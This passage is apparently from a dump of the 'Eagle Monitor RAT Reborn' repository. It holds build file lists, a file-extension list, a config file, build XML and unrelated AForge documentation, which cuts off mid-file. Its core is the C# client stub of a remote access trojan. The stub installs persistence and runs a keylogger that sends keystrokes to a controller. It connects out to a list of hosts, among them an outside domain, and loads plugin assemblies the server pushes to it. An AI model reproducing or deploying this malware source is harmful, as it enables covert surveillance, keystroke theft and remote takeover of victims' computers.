Tool\\PacketLib\\obj\\Debug\\PacketLib.dll\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\PacketLib\\bin\\Debug\\PacketLib.dll\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\PacketLib\\obj\\Debug\\PacketLib.csproj.AssemblyReference.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\PacketLib\\obj\\Debug\\PacketLib.csproj.CoreCompileInputs.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\PacketLib\\obj\\Debug\\PacketLib.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\PacketLib\\bin\\Debug\\PacketLib.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\PacketLib\\obj\\Debug\\PacketLib.csproj.AssemblyReference.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\PacketLib\\obj\\Debug\\PacketLib.csproj.CoreCompileInputs.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\PacketLib\\obj\\Debug\\PacketLib.dll\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs",
    "content": "// <autogenerated />\nusing System;\nusing System.Reflection;\n[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(\".NETFramework,Version=v4.5\", FrameworkDisplayName = \".NET Framework 4.5\")]\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/obj/Release/PacketLib.csproj.CoreCompileInputs.cache",
    "content": "0e2a4cfe43dd39038dcb0f3fd98e4b56d20503f6\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/obj/Release/PacketLib.csproj.FileListAbsolute.txt",
    "content": "F:\\Personal\\RansomTiTan\\PacketLib\\bin\\Release\\PacketLib.dll\nF:\\Personal\\RansomTiTan\\PacketLib\\bin\\Release\\PacketLib.pdb\nF:\\Personal\\RansomTiTan\\PacketLib\\obj\\Release\\PacketLib.csproj.CoreCompileInputs.cache\nF:\\Personal\\RansomTiTan\\PacketLib\\obj\\Release\\PacketLib.dll\nF:\\Personal\\RansomTiTan\\PacketLib\\obj\\Release\\PacketLib.pdb\nF:\\Personal\\RansomTiTan\\PacketLib\\obj\\Release\\PacketLib.csproj.AssemblyReference.cache\nF:\\Personal\\DesyncOps\\PacketLib\\bin\\Release\\PacketLib.dll\nF:\\Personal\\DesyncOps\\PacketLib\\bin\\Release\\PacketLib.pdb\nF:\\Personal\\DesyncOps\\PacketLib\\obj\\Release\\PacketLib.csproj.AssemblyReference.cache\nF:\\Personal\\DesyncOps\\PacketLib\\obj\\Release\\PacketLib.csproj.CoreCompileInputs.cache\nF:\\Personal\\DesyncOps\\PacketLib\\obj\\Release\\PacketLib.dll\nF:\\Personal\\DesyncOps\\PacketLib\\obj\\Release\\PacketLib.pdb\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\PacketLib\\bin\\Release\\PacketLib.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\PacketLib\\obj\\Release\\PacketLib.csproj.AssemblyReference.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\PacketLib\\obj\\Release\\PacketLib.csproj.CoreCompileInputs.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\PacketLib\\obj\\Release\\PacketLib.dll\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\PacketLib\\bin\\Release\\PacketLib.dll\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\PacketLib\\obj\\Release\\PacketLib.csproj.AssemblyReference.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\PacketLib\\obj\\Release\\PacketLib.csproj.CoreCompileInputs.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\PacketLib\\obj\\Release\\PacketLib.dll\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\bin\\Release\\PacketLib.dll\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\PacketLib\\obj\\Release\\PacketLib.csproj.AssemblyReference.cache\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\PacketLib\\obj\\Release\\PacketLib.csproj.CoreCompileInputs.cache\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\PacketLib\\obj\\Release\\PacketLib.dll\nC:\\Eagle Monitor RAT Reborn\\bin\\Release\\PacketLib.dll\nC:\\Eagle Monitor RAT Reborn\\PacketLib\\obj\\Release\\PacketLib.csproj.AssemblyReference.cache\nC:\\Eagle Monitor RAT Reborn\\PacketLib\\obj\\Release\\PacketLib.csproj.CoreCompileInputs.cache\nC:\\Eagle Monitor RAT Reborn\\PacketLib\\obj\\Release\\PacketLib.dll\nD:\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\PacketLib.dll\nD:\\$$$$$\\Eagle Monitor RAT Reborn\\PacketLib\\obj\\Release\\PacketLib.csproj.AssemblyReference.cache\nD:\\$$$$$\\Eagle Monitor RAT Reborn\\PacketLib\\obj\\Release\\PacketLib.csproj.CoreCompileInputs.cache\nD:\\$$$$$\\Eagle Monitor RAT Reborn\\PacketLib\\obj\\Release\\PacketLib.dll\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\PacketLib.dll\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\PacketLib\\obj\\Release\\PacketLib.csproj.AssemblyReference.cache\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\PacketLib\\obj\\Release\\PacketLib.csproj.CoreCompileInputs.cache\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\PacketLib\\obj\\Release\\PacketLib.dll\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\PacketLib.dll\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\PacketLib\\obj\\Release\\PacketLib.csproj.AssemblyReference.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\PacketLib\\obj\\Release\\PacketLib.csproj.CoreCompileInputs.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\PacketLib\\obj\\Release\\PacketLib.dll\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\Stubs\\PacketLib.dll\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\PacketLib\\obj\\Release\\PacketLib.csproj.AssemblyReference.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\PacketLib\\obj\\Release\\PacketLib.csproj.CoreCompileInputs.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\PacketLib\\obj\\Release\\PacketLib.dll\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Utils\\PacketLib\\obj\\Release\\PacketLib.csproj.AssemblyReference.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Utils\\PacketLib\\obj\\Release\\PacketLib.csproj.CoreCompileInputs.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Utils\\PacketLib\\obj\\Release\\PacketLib.dll\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\Stubs\\PacketLib.dll\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Utils\\PacketLib\\obj\\Release\\PacketLib.csproj.AssemblyReference.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Utils\\PacketLib\\obj\\Release\\PacketLib.csproj.CoreCompileInputs.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Utils\\PacketLib\\obj\\Release\\PacketLib.dll\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/obj/Release/_IsIncrementalBuild",
    "content": "obj\\Release\\\\_IsIncrementalBuild\n"
  },
  {
    "path": "Remote Access Tool/bin/Release/Extensions.txt",
    "content": "http://www.gju.edu.jo/sites/default/files/Information%20Systems%20and%20Technology%20Center/common_file_extensions_.pdf\n7Z\nACE\nADA\nADB\nADS\nAIF\nANI\nAPI\nARC\nARJ\nART\nASC\nASF\nASM\nASP\nASPX\nASX\nAU3\nAVI\nBAK\nBAS\nBASH\nBAT\nBFC\nBIN\nBMP\nBUD\nBZ2\nC\nCAB\nCAT\nCBL\nCBT\nCDA\nCDT\nCER\nCFML\nCGI\nCHM\nCLASS\nCLP\nCMAKE\nCMD\nCMF\nCOM\nCPL\nCPP\nCS\nCSS\nCSV\nCTY\nCWK\nCWS\nCUR\nD\nDAO\nDAT\nDB\nDBF\nDD\nDEB\nDEV\nDFM\nDIC\nDIF\nDIR\nDLL\nDMG\nDOC\nDOCKERFILE\nDOCM\nDOCX\nDOT\nDOTX\nDPR\nDRV\nDS\nDUN\nDWG\nDXF\nEL\nELM\nEMACS\nEMF\nEML\nEPS\nEPS2\nERL\nEVE\nEXE\nEX\nEXS\nFFL\nFFO\nFLA\nFLV\nFON\nFNT\nFS\nFSH\nFSI\nFSX\nGIF\nGID\nGO\nGRP\nGZ\nH\nHEX\nHLP\nHT\nHQX\nHTM\nHTML\nICL\nICM\nICO\nIFF\nIPYNB\nINC\nINF\nINI\nINO\nISO\nJAR\nJAVA\nJPEG\nJPG\nJS\nJSP\nJSX\nKBM\nKDC\nKIZ\nKQP\nKT\nKTM\nKTS\nL\nLAB\nLESS\nLEX\nLG\nLGO\nLHZ\nLIT\nLL\nLNK\nLOG\nLSP\nLUA\nM\nM3U\nM4A\nM4V\nMAQ\nMAR\nMD\nMDB\nMDL\nMFM\nMHT\nMHTML\nMID\nMM\nMOD\nMOV\nMPA\nMP3\nMP4\nMPG\nMPEG\nMPP\nMSG\nMSI\nNASM\nNCF\nNDX\nNFF\nNFF\nNITF\nNLM\nO\nOBD\nOCX\nODP\nODS\nODT\nOFT\nOGG\nOST\nOTF\nOZ\nPAGES\nPAK\nPAS\nPCL\nPCT\nPDF\nPDR\nPERL\nPHP\nPHTML\nPIF\nPKG\nPL\nPM\nPM3\nPM4\nPM5\nPM6\nPNG\nPOL\nPOT\nPOTM\nPOTX\nPPA\nPPAM\nPPD\nPPK\nPPS\nPPSX\nPPSM\nPPT\nPPTX\nPPTM\nPRN\nPS\nPSD\nPSP\nPST\nPY\nPYP\nPYT\nPYW\nPUB\nPWL\nQBB\nQBW\nQIF\nQXD\nRA\nRAM\nRAR\nRAW \nRDO\nREG\nRM\nRPM\nRSC\nRSS\nRTF\nSAV\nSCALA\nSBT\nSC\nSCR\nSEA\nSGML\nSH \nSHTML\nSIT\nSLK\nSMD\nSQL\nSVG\nSWF\nSWP\nSYS\nTAR\nTAR.GZ\nTCW\nTEX\nTGA\nTHMX\nTIF\nTIFF\nTMP\nTTF\nTXT\nUDF\nUUE\nVB\nVBS\nVBX\nVM\nVXD\nWAV\nWMA\nWMF\nWMV\nWPD\nWPS\nWRI\nWSF\nWSZ\nXCF\nXIF\nXHTML\nXLA\nXLAM\nXLR\nXLS\nXLSB\nXLSM\nXLSX\nXLT\nXLTM\nXLTX\nXLW\nXML\nXPS\nXSL\nYBK\nZ\nZIP\nZSH"
  },
  {
    "path": "Remote Access Tool/bin/Release/SamplePayloads(x32)/PayloadDllCSharp.EntryPointExe.Main.txt",
    "content": ""
  },
  {
    "path": "Remote Access Tool/bin/Release/Stubs/client.cs",
    "content": "using PacketLib.Packet;\nusing PacketLib;\nusing System;\nusing System.Runtime.InteropServices;\nusing System.Threading;\nusing PacketLib.Utils;\nusing System.IO;\nusing System.Net.Sockets;\nusing System.IO.Compression;\nusing System.Collections.Generic;\n[assembly: System.Runtime.Versioning.TargetFramework(\".NETFramework,Version=v4.5\", FrameworkDisplayName = \".NET Framework 4.5\")]\n[assembly: ComVisible(false)]\nnamespace Client\n{\n    public static class Config\n    {\n        public static List<string> hostLists = new List<string>() { \"qsdqsdqsdkjsdljk.com:7521\", \"127.0.0.1:7788\", \"127.0.0.1:9988\", \"127.0.0.1:9875\" };\n        public static List<Host> hosts = new List<Host>();\n        public static string generalKey = \"123456789\";\n        public static bool offKeylog = false;\n        public static string mutex = \"%MUTEX%\";\n        public static Offline.Persistence.Method installationMethod = Offline.Persistence.Method.NONE;\n        public static string[] installationParam = new string[] { AppDomain.CurrentDomain.FriendlyName };\n    }\n    public class StarterClass\n    {\n        private static bool AlreadyLaunched = false;\n        private static Mutex mutex;\n        public static void OneInstance()\n        {\n            mutex = new Mutex(true, Config.mutex, out AlreadyLaunched);\n            if (!AlreadyLaunched)\n            {\n                NtTerminateProcess((IntPtr)(-1), 0);\n            }\n        }\n\n        private static System.Reflection.Assembly DomCheck(object send, System.ResolveEventArgs e)\n        {\n            byte[] offline = new byte[] { };\n\n            byte[] packetLib = new byte[] { };\n\n            if (e.Name.Contains(\"Packet\"))\n            {\n                using (MemoryStream ms = new MemoryStream())\n                {\n                    using (MemoryStream compressedStream = new MemoryStream(packetLib))\n                    {\n                        using (DeflateStream deflater = new DeflateStream(compressedStream, CompressionMode.Decompress))\n                        {\n                            deflater.CopyTo(ms);\n                        }\n                    }\n                    return System.Reflection.Assembly.Load(ms.ToArray());\n                }\n            }\n            if (e.Name.Contains(\"Off\"))\n            {\n                using (MemoryStream ms = new MemoryStream())\n                {\n                    using (MemoryStream compressedStream = new MemoryStream(offline))\n                    {\n                        using (DeflateStream deflater = new DeflateStream(compressedStream, CompressionMode.Decompress))\n                        {\n                            deflater.CopyTo(ms);\n                        }\n                    }\n                    return System.Reflection.Assembly.Load(ms.ToArray());\n                }\n            }\n            return null;\n        }\n\n        static StarterClass()\n        {\n            AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(DomCheck);\n        }\n\n        internal static void StartOfflineKeylogger()\n        {\n            if (Config.offKeylog)\n            {\n                new Thread(() =>\n                {\n                    while (true)\n                    {\n                        Thread.Sleep(30000);\n                        if (clientHandler.Connected)\n                            Offline.Keyloggers.Launch.ClientSender(StarterClass.clientHandler.host, Config.generalKey, new KeylogOfflinePacket(Offline.Keyloggers.Launch.CurrentKeyStroke(), StarterClass.clientHandler.baseIp, StarterClass.clientHandler.HWID)); Offline.Keyloggers.Launch.ClearKeyStroke();\n                    }\n                }).Start();\n\n                Offline.Keyloggers.Launch.Start();\n            }\n        }\n\n        [DllImport(\"ntdll.dll\")]\n        internal static extern uint NtTerminateProcess(IntPtr hProcess, int errorStatus);\n\n        internal static ClientHandler clientHandler;\n\n        [MTAThread]\n        public static void Main()\n        {\n            MakeInstall();\n            OneInstance();\n\n            clientHandler = new ClientHandler();\n            StartOfflineKeylogger();\n\n            foreach (string h in Config.hostLists)\n            {\n                string[] sp = h.Split(':');\n                Config.hosts.Add(new Host(sp[0], sp[1]));\n            }\n\n            clientHandler.ConnectStart();\n\n            new Thread(new ThreadStart(() => {\n                while (true)\n                {\n                    Thread.Sleep(-1);\n                }\n            })).Start();\n        }\n\n        public static void MakeInstall()\n        {\n            Offline.Persistence.Launch.Install(Config.installationMethod, Config.installationParam);\n        }\n\n        internal static class PacketHandler\n        {\n\n            internal delegate void PluginDelegate(IPacket packet);\n            internal static PluginDelegate pluginDelegate;\n            static PacketHandler()\n            {\n                pluginDelegate = new PluginDelegate(LoadPlugin);\n            }\n\n            internal static void ParsePacket(IPacket packet)\n            {\n                try\n                {\n                    switch (packet.packetType)\n                    {\n                        case PacketType.CONNECTED:\n                            StarterClass.clientHandler.baseIp = packet.baseIp;\n                            break;\n\n                        case (PacketType.CLOSE_CLIENT):\n                            StarterClass.NtTerminateProcess((IntPtr)(-1), 0);\n                            break;\n\n                        case (PacketType.UNINSTALL_CLOSE_CLIENT):\n                            Offline.Persistence.Launch.Uninstall(Config.installationMethod, Config.installationParam);\n                            break;\n\n                        default:\n                            pluginDelegate.BeginInvoke(packet, new AsyncCallback(EndLoadPlugin), null);\n                            break;\n\n                    }\n                }\n                catch { }\n            }\n\n            internal static void LoadPlugin(IPacket packet)\n            {\n                System.Reflection.Assembly assemblytoload = System.Reflection.Assembly.Load(Compressor.QuickLZ.Decompress(packet.plugin));\n                System.Reflection.MethodInfo method = assemblytoload.GetType(\"Plugin.Launch\").GetMethod(\"Main\");\n                object obj = assemblytoload.CreateInstance(method.Name);\n                LoadingAPI loadingAPI = new LoadingAPI\n                {\n                    host = StarterClass.clientHandler.host,\n                    baseIp = StarterClass.clientHandler.baseIp,\n                    HWID = StarterClass.clientHandler.HWID,\n                    key = Config.generalKey,\n                    currentPacket = packet,\n                };\n\n                method.Invoke(obj, new object[] { loadingAPI });\n            }\n\n            public static void EndLoadPlugin(IAsyncResult ar)\n            {\n                pluginDelegate.EndInvoke(ar);\n            }\n        }\n    }\n    internal class ClientHandler\n    {\n        internal Host host { get; set; }\n        internal string HWID { get; set; }\n        internal string baseIp { get; set; }\n        private Socket socket { get; set; }\n        internal bool Connected { get; set; }\n        internal int indexHost { get; set; }\n\n        private delegate byte[] ReadDataAsync();\n        private delegate IPacket ReadPacketAsync(byte[] bufferPacket);\n        private delegate bool ConnectAsync();\n        private delegate int SendDataAsync(IPacket data);\n\n\n        private ReadDataAsync readDataAsync;\n        private ReadPacketAsync readPacketAsync;\n        private ConnectAsync connectAsync;\n        private readonly SendDataAsync sendDataAsync;\n\n\n        internal ClientHandler() : base()\n        {\n            readDataAsync = new ReadDataAsync(ReceiveData);\n            readPacketAsync = new ReadPacketAsync(PacketParser);\n            sendDataAsync = new SendDataAsync(SendData);\n        }\n\n        public void ConnectStart()\n        {\n\n            if (indexHost == Config.hosts.Count)\n                indexHost = 0;\n\n            host = Config.hosts[indexHost];\n            indexHost++;\n\n            Thread.Sleep(125);\n\n            connectAsync = new ConnectAsync(Connect);\n            connectAsync.BeginInvoke(new AsyncCallback(EndConnect), null);\n        }\n\n        private bool Connect()\n        {\n            try\n            {\n                socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);\n                socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.KeepAlive, true);\n                socket.Connect(host.host, host.port);\n                return true;\n            }\n            catch { }\n            return false;\n        }\n\n        public void EndConnect(IAsyncResult ar)\n        {\n            Connected = connectAsync.EndInvoke(ar);\n\n            if (Connected)\n            {\n                ConnectedPacket connectionPacket = new ConnectedPacket();\n                this.HWID = connectionPacket.HWID;\n                SendPacket(connectionPacket);\n                Receive();\n            }\n            else\n            {\n                ConnectStart();\n            }\n        }\n\n        public void Receive()\n        {\n            if (Connected)\n                readDataAsync.BeginInvoke(new AsyncCallback(EndDataRead), null);\n            else\n                ConnectStart();\n        }\n        private byte[] ReceiveData()\n        {\n            try\n            {\n                int total = 0;\n                int recv;\n                byte[] header = new byte[5];\n                socket.Poll(-1, SelectMode.SelectRead);\n                recv = socket.Receive(header, 0, 5, 0);\n\n                int size = BitConverter.ToInt32(new byte[4] { header[0], header[1], header[2], header[3] }, 0);\n                PacketType packetType = (PacketType)header[4];\n\n                int dataleft = size;\n                byte[] data = new byte[size];\n                while (total < size)\n                {\n                    recv = socket.Receive(data, total, dataleft, 0);\n                    total += recv;\n                    dataleft -= recv;\n                }\n\n                return data;\n            }\n            catch (Exception)\n            {\n                Connected = false;\n                return null;\n            }\n        }\n        public void EndDataRead(IAsyncResult ar)\n        {\n            byte[] data = readDataAsync.EndInvoke(ar);\n\n            if (data != null && Connected)\n                readPacketAsync.BeginInvoke(data, new AsyncCallback(EndPacketRead), null);\n\n            Receive();\n        }\n\n\n        private IPacket PacketParser(byte[] bufferPacket)\n        {\n            return bufferPacket.DeserializePacket(Config.generalKey);\n        }\n        public void EndPacketRead(IAsyncResult ar)\n        {\n            IPacket packet = readPacketAsync.EndInvoke(ar);\n            StarterClass.PacketHandler.ParsePacket(packet);\n        }\n\n\n        public void SendPacket(IPacket packet)\n        {\n            if (Connected)\n                sendDataAsync.BeginInvoke(packet, new AsyncCallback(SendDataCompleted), null);\n        }\n        private int SendData(IPacket data)\n        {\n            try\n            {\n                byte[] encryptedData = data.SerializePacket(Config.generalKey);\n                lock (socket)\n                {\n                    int total = 0;\n                    int size = encryptedData.Length;\n                    int datalft = size;\n                    byte[] header = new byte[5];\n                    socket.Poll(-1, SelectMode.SelectWrite);\n\n                    byte[] temp = BitConverter.GetBytes(size);\n\n                    header[0] = temp[0];\n                    header[1] = temp[1];\n                    header[2] = temp[2];\n                    header[3] = temp[3];\n                    header[4] = (byte)data.packetType;\n\n                    int sent = socket.Send(header);\n\n                    if (size > 1000000)\n                    {\n                        using (MemoryStream memoryStream = new MemoryStream(encryptedData))\n                        {\n                            int read = 0;\n                            memoryStream.Position = 0;\n                            byte[] chunk = new byte[50 * 1000];\n                            while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0)\n                            {\n                                socket.Send(chunk, 0, read, SocketFlags.None);\n                            }\n                        }\n                    }\n                    else\n                    {\n                        while (total < size)\n                        {\n                            sent = socket.Send(encryptedData, total, size, SocketFlags.None);\n                            total += sent;\n                            datalft -= sent;\n                        }\n                    }\n                    return total;\n                }\n            }\n            catch (Exception)\n            {\n                Connected = false;\n                return 0;\n            }\n        }\n        private void SendDataCompleted(IAsyncResult ar)\n        {\n            int length = sendDataAsync.EndInvoke(ar);\n            if (Connected)\n            {\n                return;\n            }\n        }\n    }\n}"
  },
  {
    "path": "Remote Access Tool/bin/Release/Stubs/client.xml",
    "content": "<Project ToolsVersion=\"4.0\" DefaultTargets = \"Compile\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\" >\n    <PropertyGroup>\n\t\t<TargetFrameworkVersion>v4.5</TargetFrameworkVersion>\n\t\t<FileAlignment>512</FileAlignment>\n        <AssemblyName>Client</AssemblyName>\n    </PropertyGroup>\n\n    <ItemGroup>\n        <CSFile Include = \"clienttmp.cs\"/>\n\t\t<Reference Include = \"PacketLib.dll\"/>\n\t\t<Reference Include = \"Offline.dll\"/>\n         <!-- <Reference Include = \"mscorlib.dll\"/> -->\n\t</ItemGroup>\n\t\n    <Target Name = \"Compile\">\n        <!-- Run the Visual C# compilation using input files of type CSFile -->\n        <CSC\n            Sources = \"@(CSFile)\"\n            OutputAssembly = \"$(AssemblyName).exe\"\n\t\t\tReferences =\"@(Reference)\"\n\t\t\tPlatform = \"anycpu\"  \n\t\t\tTargetType =\"winexe\"\n\t\t\tNoLogo =\"true\"\n            >\n            <!--NoStandardLib = \"true\" \n            Optimize = \"true\"\n             -->\n            <Output TaskParameter = \"OutputAssembly\" ItemName = \"Client\" />\n        </CSC>\n    </Target>\n</Project>"
  },
  {
    "path": "Remote Access Tool/bin/Release/config.json",
    "content": "{\"ports\":[9875,7788],\"key\":\"123456789\",\"notificationSound\":false,\"notificationIcon\":false,\"autoSaveRecovery\":true,\"autoRemoveRowWhenFileIsDownloaded\":false,\"flagsPackName\":\"FlagsBase\",\"processInjectionMethod\":0,\"bufferSize\":4194304,\"autoGenerateRSAKey\":false,\"hosts\":[{\"Item1\":\"127.0.0.1\",\"Item2\":\"8523\"},{\"Item1\":\"127.0.0.1\",\"Item2\":\"9875\"}]}"
  },
  {
    "path": "Remote Access Tool/packages/AForge.2.2.5/lib/AForge.xml",
    "content": "<?xml version=\"1.0\"?>\n<doc>\n    <assembly>\n        <name>AForge</name>\n    </assembly>\n    <members>\n        <member name=\"T:AForge.CommunicationBufferEventArgs\">\n            <summary>\n            Event arguments holding a buffer sent or received during some communication process.\n            </summary>\n        </member>\n        <member name=\"M:AForge.CommunicationBufferEventArgs.#ctor(System.Byte[])\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:AForge.CommunicationBufferEventArgs\"/> class.\n            </summary>\n            \n            <param name=\"message\">Message being transfered during communication process.</param>\n            \n        </member>\n        <member name=\"M:AForge.CommunicationBufferEventArgs.#ctor(System.Byte[],System.Int32,System.Int32)\">\n             <summary>\n             Initializes a new instance of the <see cref=\"T:AForge.CommunicationBufferEventArgs\"/> class.\n             </summary>\n            \n             <param name=\"buffer\">Buffer containing the message being transferred during communication process.</param>\n             <param name=\"index\">Starting index of the message within the buffer.</param>\n             <param name=\"length\">Length of the message within the buffer.</param>\n            \n        </member>\n        <member name=\"M:AForge.CommunicationBufferEventArgs.GetMessage\">\n            <summary>\n            Get the transfered message.\n            </summary>\n            \n            <returns>Returns copy of the transfered message.</returns>\n            \n        </member>\n        <member name=\"M:AForge.CommunicationBufferEventArgs.GetMessageString\">\n             <summary>\n             Get the transferred message as string.\n             </summary>\n             \n             <returns>Returns string encoding the transferred message.</returns>\n            \n        </member>\n        <member name=\"P:AForge.CommunicationBufferEventArgs.MessageLength\">\n            <summary>\n            Length of the transfered message.\n            </summary>\n        </member>\n        <member name=\"T:AForge.IntPoint\">\n            <summary>\n            Structure for representing a pair of coordinates of integer type.\n            </summary>\n            \n            <remarks><para>The structure is used to store a pair of integer coordinates.</para>\n            \n            <para>Sample usage:</para>\n            <code>\n            // assigning coordinates in the constructor\n            IntPoint p1 = new IntPoint( 10, 20 );\n            // creating a point and assigning coordinates later\n            IntPoint p2;\n            p2.X = 30;\n            p2.Y = 40;\n            // calculating distance between two points\n            float distance = p1.DistanceTo( p2 );\n            </code>\n            </remarks>\n            \n        </member>\n        <member name=\"F:AForge.IntPoint.X\">\n            <summary> \n            X coordinate.\n            </summary> \n            \n        </member>\n        <member name=\"F:AForge.IntPoint.Y\">\n            <summary> \n            Y coordinate.\n            </summary> \n            \n        </member>\n        <member name=\"M:AForge.IntPoint.#ctor(System.Int32,System.Int32)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:AForge.IntPoint\"/> structure.\n            </summary>\n            \n            <param name=\"x\">X axis coordinate.</param>\n            <param name=\"y\">Y axis coordinate.</param>\n            \n        </member>\n        <member name=\"M:AForge.IntPoint.DistanceTo(AForge.IntPoint)\">\n            <summary>\n            Calculate Euclidean distance between two points.\n            </summary>\n            \n            <param name=\"anotherPoint\">Point to calculate distance to.</param>\n            \n            <returns>Returns Euclidean distance between this point and\n            <paramref name=\"anotherPoint\"/> points.</returns>\n            \n        </member>\n        <member name=\"M:AForge.IntPoint.SquaredDistanceTo(AForge.Point)\">\n            <summary>\n            Calculate squared Euclidean distance between two points.\n            </summary>\n            \n            <param name=\"anotherPoint\">Point to calculate distance to.</param>\n            \n            <returns>Returns squared Euclidean distance between this point and\n            <paramref name=\"anotherPoint\"/> points.</returns>\n            \n        </member>\n        <member name=\"M:AForge.IntPoint.op_Addition(AForge.IntPoint,AForge.IntPoint)\">\n            <summary>\n            Addition operator - adds values of two points.\n            </summary>\n            \n            <param name=\"point1\">First point for addition.</param>\n            <param name=\"point2\">Second point for addition.</param>\n            \n            <returns>Returns new point which coordinates equal to sum of corresponding\n            coordinates of specified points.</returns>\n            \n        </member>\n        <member name=\"M:AForge.IntPoint.Add(AForge.IntPoint,AForge.IntPoint)\">\n            <summary>\n            Addition operator - adds values of two points.\n            </summary>\n            \n            <param name=\"point1\">First point for addition.</param>\n            <param name=\"point2\">Second point for addition.</param>\n            \n            <returns>Returns new point which coordinates equal to sum of corresponding\n            coordinates of specified points.</returns>\n            \n        </member>\n        <member name=\"M:AForge.IntPoint.op_Subtraction(AForge.IntPoint,AForge.IntPoint)\">\n             <summary>\n             Subtraction operator - subtracts values of two points.\n             </summary>\n             \n             <param name=\"point1\">Point to subtract from.</param>\n             <param name=\"point2\">Point to subtract.</param>\n             \n             <returns>Returns new point which coordinates equal to difference of corresponding\n             coordinates of specified points.</returns>\n            \n        </member>\n        <member name=\"M:AForge.IntPoint.Subtract(AForge.IntPoint,AForge.IntPoint)\">\n             <summary>\n             Subtraction operator - subtracts values of two points.\n             </summary>\n             \n             <param name=\"point1\">Point to subtract from.</param>\n             <param name=\"point2\">Point to subtract.</param>\n             \n             <returns>Returns new point which coordinates equal to difference of corresponding\n             coordinates of specified points.</returns>\n            \n        </member>\n        <member name=\"M:AForge.IntPoint.op_Addition(AForge.IntPoint,System.Int32)\">\n            <summary>\n            Addition operator - adds scalar to the specified point.\n            </summary>\n            \n            <param name=\"point\">Point to increase coordinates of.</param>\n            <param name=\"valueToAdd\">Value to add to coordinates of the specified point.</param>\n            \n            <returns>Returns new point which coordinates equal to coordinates of\n            the specified point increased by specified value.</returns>\n            \n        </member>\n        <member name=\"M:AForge.IntPoint.Add(AForge.IntPoint,System.Int32)\">\n            <summary>\n            Addition operator - adds scalar to the specified point.\n            </summary>\n            \n            <param name=\"point\">Point to increase coordinates of.</param>\n            <param name=\"valueToAdd\">Value to add to coordinates of the specified point.</param>\n            \n            <returns>Returns new point which coordinates equal to coordinates of\n            the specified point increased by specified value.</returns>\n            \n        </member>\n        <member name=\"M:AForge.IntPoint.op_Subtraction(AForge.IntPoint,System.Int32)\">\n            <summary>\n            Subtraction operator - subtracts scalar from the specified point.\n            </summary>\n            \n            <param name=\"point\">Point to decrease coordinates of.</param>\n            <param name=\"valueToSubtract\">Value to subtract from coordinates of the specified point.</param>\n            \n            <returns>Returns new point which coordinates equal to coordinates of\n            the specified point decreased by specified value.</returns>\n            \n        </member>\n        <member name=\"M:AForge.IntPoint.Subtract(AForge.IntPoint,System.Int32)\">\n            <summary>\n            Subtraction operator - subtracts scalar from the specified point.\n            </summary>\n            \n            <param name=\"point\">Point to decrease coordinates of.</param>\n            <param name=\"valueToSubtract\">Value to subtract from coordinates of the specified point.</param>\n            \n            <returns>Returns new point which coordinates equal to coordinates of\n            the specified point decreased by specified value.</returns>\n            \n        </member>\n        <member name=\"M:AForge.IntPoint.op_Multiply(AForge.IntPoint,System.Int32)\">\n             